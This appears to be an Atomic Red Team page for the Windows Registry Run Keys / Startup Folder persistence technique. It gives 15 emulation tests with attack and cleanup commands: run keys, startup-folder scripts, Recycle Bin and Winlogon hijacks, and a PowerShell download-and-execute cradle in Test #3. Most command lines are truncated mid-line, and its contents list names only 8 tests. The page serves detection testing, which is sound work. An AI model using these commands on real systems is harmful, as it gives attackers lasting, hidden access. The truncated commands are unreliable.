T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Description from ATT&CK

> Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.
> Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is `C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`. The startup folder path for all users is `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`.
>
> The following run keys are created by default on Windows systems:

- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce`
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run`
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce`

Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx` is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"` (Citation: Oddvar Moe RunOnceEx Mar 2018)

The following Registry keys can be used to set startup folder items for persistence:

- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`

The following Registry keys can control automatic startup of services during boot:

- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices`
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices`

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run`

> - `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run`
>
> The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit` and `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell` subkeys can automatically launch programs.
>
> Programs listed in the load value of the registry key `HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows` run when any user logs on.
>
> By default, the multistring `BootExecute` value of the registry key `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager` is set to `autocheck autochk *`. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
>
> Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

Atomic Tests

- Atomic Test #1 - Reg Key Run
- Atomic Test #2 - Reg Key RunOnce
- Atomic Test #3 - PowerShell Registry RunOnce
- Atomic Test #4 - Suspicious vbs file run from startup Folder
- Atomic Test #5 - Suspicious jse file run from startup Folder
- Atomic Test #6 - Suspicious bat file run from startup Folder
- Atomic Test #7 - Add Executable Shortcut Link to User Startup Folder
- Atomic Test #8 - Add persistance via Recycle bin

Atomic Test #1 - Reg Key Run

Run Key Persistence

Upon successful execution, cmd.exe will modify the registry by adding "Atomic Red Team" to the Run key. Output will be via stdout.

Supported Platforms: Windows

auto_generated_guid: e55be3fd-3521-4610-9d1a-e210e42dcf05

Inputs:

Name	Description	Type	Default Value
command_to_execute	Thing to Run	Path	C:\Path\AtomicRedTeam.exe

Attack Commands: Run with `command_prompt`!

```
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" ,
```

Cleanup Commands:

```
REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Tea
```

Atomic Test #2 - Reg Key RunOnce

RunOnce Key Persistence.

Upon successful execution, cmd.exe will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will be via stdout.

Supported Platforms: Windows

auto_generated_guid: 554cbd88-cde1-4b56-8168-0be552eed9eb

Inputs:

Name	Description	Type	Default Value
thing_to_execute	Thing to Run	Path	C:\Path\AtomicRedTeam.dll

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 ,
```

Cleanup Commands:

```
REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v
```

Atomic Test #3 - PowerShell Registry RunOnce

RunOnce Key Persistence via PowerShell Upon successful execution, a new entry will be added to the runonce item in the registry.

Supported Platforms: Windows

auto_generated_guid: eb44f842-0457-4ddc-9b92-c4caa144ac42

Inputs:

Name	Description	Type	Default Value
thing_to_execute	Thing to Run	Path	powershell.exe
reg_key_path	Path to registry key to update	Path	HKLM:\Software\Microsoft\Windows\CurrentVersion\Ru

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$RunOnceKey = "#{reg_key_path}"
set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.W
```

Cleanup Commands:

```
Remove-ItemProperty -Path #{reg_key_path} -Name "NextRun" -Force -ErrorAction Ignor
```

Atomic Test #4 - Suspicious vbs file run from startup Folder

vbs files can be placed in and ran from the startup folder to maintain persistance. Upon execution, "T1547.001 Hello, World VBS!" will be displayed twice. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in.

Supported Platforms: Windows

auto_generated_guid: 2cb98256-625e-4da9-9d44-f2e5f90b8bd5

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Copy-Item $PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs "$env:APPDATA\Microsof
Copy-Item $PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs "C:\ProgramData\Micros
cscript.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup
cscript.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstart
```

Cleanup Commands:

```
Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstart
```

Atomic Test #5 - Suspicious jse file run from startup Folder

jse files can be placed in and ran from the startup folder to maintain persistance. Upon execution, "T1547.001 Hello, World JSE!" will be displayed twice. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in.

Supported Platforms: Windows

auto_generated_guid: dade9447-791e-4c8f-b04b-3a35855dfa06

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Copy-Item $PathToAtomicsFolder\T1547.001\src\jsestartup.jse "$env:APPDATA\Microsof
Copy-Item $PathToAtomicsFolder\T1547.001\src\jsestartup.jse "C:\ProgramData\Micros
cscript.exe /E:Jscript "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup
cscript.exe /E:Jscript "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Start
```

Cleanup Commands:

```
Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestart
```

Atomic Test #6 - Suspicious bat file run from startup Folder

bat files can be placed in and executed from the startup folder to maintain persistance. Upon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in.

Supported Platforms: Windows

auto_generated_guid: 5b6768e4-44d2-44f0-89da-a01d1430fd5e

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Copy-Item $PathToAtomicsFolder\T1547.001\src\batstartup.bat "$env:APPDATA\Microsof
Copy-Item $PathToAtomicsFolder\T1547.001\src\batstartup.bat "C:\ProgramData\Micros
Start-Process "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstart
Start-Process "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batsta
```

Cleanup Commands:

```
Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstart
```

Atomic Test #7 - Add Executable Shortcut Link to User Startup Folder

Adds a non-malicious executable shortcut link to the current users startup directory. Test can be verified by going to the users startup directory and checking if the shortcut link exists.

Supported Platforms: Windows

auto_generated_guid: 24e55612-85f6-4bd6-ae74-a73d02e3441d

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$Target = "C:\Windows\System32\calc.exe"
$ShortcutLocation = "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\S
$WScriptShell = New-Object -ComObject WScript.Shell
$Create = $WScriptShell.CreateShortcut($ShortcutLocation)
$Create.TargetPath = $Target
$Create.Save()
```

Cleanup Commands:

```
Remove-Item "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c
```

Atomic Test #8 - Add persistance via Recycle bin

Add a persistance via Recycle bin vxunderground User have to clic on the recycle bin to lauch the payload (here calc)

Supported Platforms: Windows

auto_generated_guid: bda6a3d6-7aa7-4e89-908b-306772e9662f

Attack Commands: Run with `command_prompt`!

```
reg ADD "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command" /ve
```

Cleanup Commands:

```
reg DELETE "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open" /f
```

Atomic Test #9 - SystemBC Malware-as-a-Service Registry

This Atomic will create a registry key called socks5_powershell for persistance access
https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c

Supported Platforms: Windows

auto_generated_guid: 9dc7767b-30c1-4cc4-b999-50cab5e27891

Inputs:

Name	Description	Type	Default Value
reg_key_value	Thing to Run	Path	powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File
reg_key_path	Path to registry key to update	Path	HKCU:\Software\Microsoft\Windows\CurrentVersion\Run

Attack Commands: Run with `powershell`!

```
$RunKey = "#{reg_key_path}"
Set-ItemProperty -Path $RunKey -Name "socks5_powershell" -Value "#{reg_key_value}"
```

Cleanup Commands:

```
Remove-ItemProperty -Path #{reg_key_path} -Name "socks5_powershell" -Force -ErrorA
```

Atomic Test #10 - Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value

This test will modify the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders -

V "Common Startup" value to point to a new startup folder where a payload could be stored to launch at boot. *successful execution requires system restart

Supported Platforms: Windows

auto_generated_guid: acfef903-7662-447e-a391-9c91c2f00f7b

Inputs:

Name	Description	Type	Default Value
new_startup_folder	new startup folder to replace standard one	String	$env:TMP\atomictest\
payload	executable to be placed in new startup location	String	C:\Windows\System32\calc.exe

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
New-Item -ItemType Directory -path "#{new_startup_folder}"
Copy-Item -path "#{payload}" -destination "#{new_startup_folder}"
Set-ItemProperty -Path  "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\
```

Cleanup Commands:

```
Set-ItemProperty -Path  "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\
Remove-Item "#{new_startup_folder}" -Recurse -Force
```

Atomic Test #11 - Change Startup Folder - HKCU Modify User Shell Folders Startup Value

This test will modify the HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders -V "Startup" value to point to a new startup folder where a payload could be stored to launch at boot. *successful execution requires system restart

Supported Platforms: Windows

auto_generated_guid: 8834b65a-f808-4ece-ad7e-2acdf647aafa

Inputs:

Name	Description	Type	Default Value
new_startup_folder	new startup folder to replace standard one	String	$env:TMP\atomictest\
payload	executable to be placed in new startup location	String	C:\Windows\System32\calc.exe

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
New-Item -ItemType Directory -path "#{new_startup_folder}"
Copy-Item -path "#{payload}" -destination "#{new_startup_folder}"
Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\I
```

Cleanup Commands:

```
Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\I
Remove-Item "#{new_startup_folder}" -Recurse -Force
```

Atomic Test #12 - HKCU - Policy Settings Explorer Run Key

This test will create a new value under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run to launch calc.exe on boot. *Requires reboot

Supported Platforms: Windows

auto_generated_guid: a70faea1-e206-4f6f-8d9a-67379be8f6f1

Inputs:

Name	Description	Type	Default Value
target_key_value_name	registry value to crate on target key	string	atomictest
payload	payload to execute	String	C:\Windows\System32\calc.exe

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
try {if($(get-item -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policie
```

Cleanup Commands:

```
Remove-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Polici
```

Atomic Test #13 - HKLM - Policy Settings Explorer Run Key

This test will create a HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run key value to launch calc.exe on boot. *Requires reboot

Supported Platforms: Windows

auto_generated_guid: b5c9a9bc-dda3-4ea0-b16a-add8e81ab75f

Inputs:

Name	Description	Type	Default Value
target_key_value_name	registry value to crate on target key	string	atomictest
payload	payload to execute	String	C:\Windows\System32\calc.exe

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
try {if($(get-item -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policie
```

Cleanup Commands:

```
Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Polici
```

Atomic Test #14 - HKLM - Append Command to Winlogon Userinit KEY Value

This test will append a command to the HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit value to launch calc.exe on boot.

- Requires reboot

Supported Platforms: Windows

auto_generated_guid: f7fab6cc-8ece-4ca7-a0f1-30a22fccd374

Inputs:

Name	Description	Type	Default Value
payload	what to run	String	C:\Windows\System32\calc.exe

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\Cu
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogo
$newvalue = $oldvalue + " #{payload}";
Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlog
```

Cleanup Commands:

```
$oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\Cu
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogo
Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Win
```

Atomic Test #15 - HKLM - Modify default System Shell - Winlogon Shell KEY Value

This test change the default value of HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell from "explorer.exe" to the full path of "C:\Windows\explorer.exe" to log a change to the key's default value without breaking boot sequence. An atacker will alternatively replace this with a custom shell.

Supported Platforms: Windows

auto_generated_guid: 1d958c61-09c6-4d9e-b26b-4130314e520e

Inputs:

Name	Description	Type	Default Value
payload	what to run	String	C:\Windows\explorer.exe

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\Cu
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogo
$newvalue = $oldvalue + ", #{payload}";
Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlog
```

Cleanup Commands:

```
$oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\Cu
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogo
Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Win
```